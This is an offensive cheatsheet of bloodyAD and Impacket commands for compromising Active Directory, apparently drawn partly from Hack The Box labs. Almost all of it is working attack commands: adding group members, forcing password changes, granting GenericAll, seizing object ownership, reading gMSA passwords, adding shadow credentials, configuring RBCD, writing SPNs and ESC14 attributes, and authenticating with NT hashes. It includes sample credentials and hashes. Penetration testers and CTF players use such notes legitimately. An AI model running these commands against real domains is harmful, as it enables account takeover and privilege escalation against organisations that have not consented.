BloodyAD Cheatsheet A concise cheatsheet of common bloodyAD commands for Active Directory tasks. Replace the variables ($dc, $domain, $username, $password, etc.) with your target values.
bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username
Add user to group (addmember allextendedright/genericall) bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add
Change password bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
Give user GenericAll rights bloodyAD --host $dc -d $domain -u $username -p $password add genericAll "$DN " $target_username
Write owner (WriteOwner) bloodyAD --host $dc -d $domain -u $username -p $password set owner $owner $target_username
owneredit.py -action write -new-owner 'sam' -target 'john' 'tombwatcher.htb'/'sam' Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies [*] No credentials supplied, supply password Password: [*] Current owner information below [*] - SID: S-1-5-21-1392491010-1358638721-2126982587-1105 [*] - sAMAccountName: sam [*] - distinguishedName: CN=sam,CN=Users,DC=tombwatcher,DC=htb [*] OwnerSid modified successfully!
Read gMSA password (msDS-ManagedPassword) bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword
Enable a disabled account bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE
Add TRUSTED_TO_AUTH_FOR_DELEGATION flag bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION
Modify UPN Set new UPN:
bloodyAD --host $dc -d $domain -u $username -p $password set object $old_upn userPrincipalName -v $new_upn
Check UPN:
bloodyAD --host $dc -d $domain -u $username -p $password get object $target_user --attr userPrincipalName
MachineAccountQuota (enumerate) bloodyAD --host $dc -d $domain -u $username -p $password get object 'DC=dc,DC=dc' --attr ms-DS-MachineAccountQuota
Set MachineAccountQuota to 10:
bloodyAD --host $dc -d $domain -u $username -p $password set object 'DC=dc,DC=dc' ms-DS-MachineAccountQuota -v 10
Modify mail attribute bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user mail -v newmail@test.local
Modify altSecurityIdentities (ESC14B) bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user altSecurityIdentities -v 'X509:<RFC822>user@test.local'
Find writable attributes (detailed) bloodyAD --host $dc -d $domain -u $username -p $password get writable --detail
Add shadowCredentials bloodyAD --host $dc -d $domain -u $username -p $password add shadowCredentials $target
Write SPN (servicePrincipalName) bloodyAD --host $dc -d $domain -u $username -p $password set object $target servicePrincipalName -v 'domain/meow'
Find deleted objects (include deleted) bloodyAD --host $dc -d $domain -u $username -p $password get writable --include-del
$ bloodyAD -u Administrator -d bloody -p 'Password123!' --host 192.168 .100.3 get search -c 1.2 .840.113556 .1.4 .2064 --resolve-sd --attr ntsecuritydescriptor --base 'CN=Deleted Objects,DC=bloody,DC=corp' --filter "(objectClass=container)"
Extended search operations (show help) bloodyAD --host $dc -d $domain -u $username -p $password get search -h
Example: display tombstoned attributes with controls:
bloodyAD --host $dc -d $domain -u $username -p $password -k get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065
Restore a deleted object bloodyAD --host $dc -d $domain -u $username -p $password -k set restore $user_to_restore
Create a new computer account bloodyAD --host $dc -d $domain -u $username -p $password add computer $computer_name $computer_password
Add Resource Based Constrained Delegation (RBCD) bloodyAD --host $dc -d $domain -u $username -p $password add rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'
Notes & tips
Pass -k to use Kerberos authentication.
You can pass a user hash instead of a password using -p :hash.
Specify format for --password or -k <keyfile> using -f, e.g. -f rc4.
Always verify object DNs and attributes before running modification commands.
Use quotes around DNs and values containing spaces or special characters.
Quick cheat-sheet (most used) bloodyAD --host $dc -d $domain -u $username -p $password get writable --detail bloodyAD --host $dc -d $domain -u $username -p $password add genericAll "$DN " $target_username bloodyAD --host $dc -d $domain -u $username -p $password add computer $computer_name $computer_password bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword
Resources
get writable objects by our current user
bloodyAD --host <domain name> -u firstuser.last -p "" get writable --detail
change password for a user ( give force change password permission)
bloodyAD -d ad.someorg.local --dc-ip 172.16.8.3 -u 'hporter' -p 'Gr8hambino!' set password ssmalls '!aSreksio333'
bloodyAD with hash NT hash authentication #PTH
`bloodyAD --host dc.example.local -d EXAMPLE -u someuser -p :2B576ACBE6BCFDA7294D6BD18041B8FE get membership someuser`
set command (sets attributes for objects) add SPN To target user bloodyAD add <attribute>
bloodyAD --host DC01.ad.someorg.local -d ad.someorg.local -u mssqladm -p :2B576ACBE6BCFDA7294D6BD18041B8FE add ServicePrincipleName 'ttimmons' 'MSSQLSvc/server.domain.local:1433'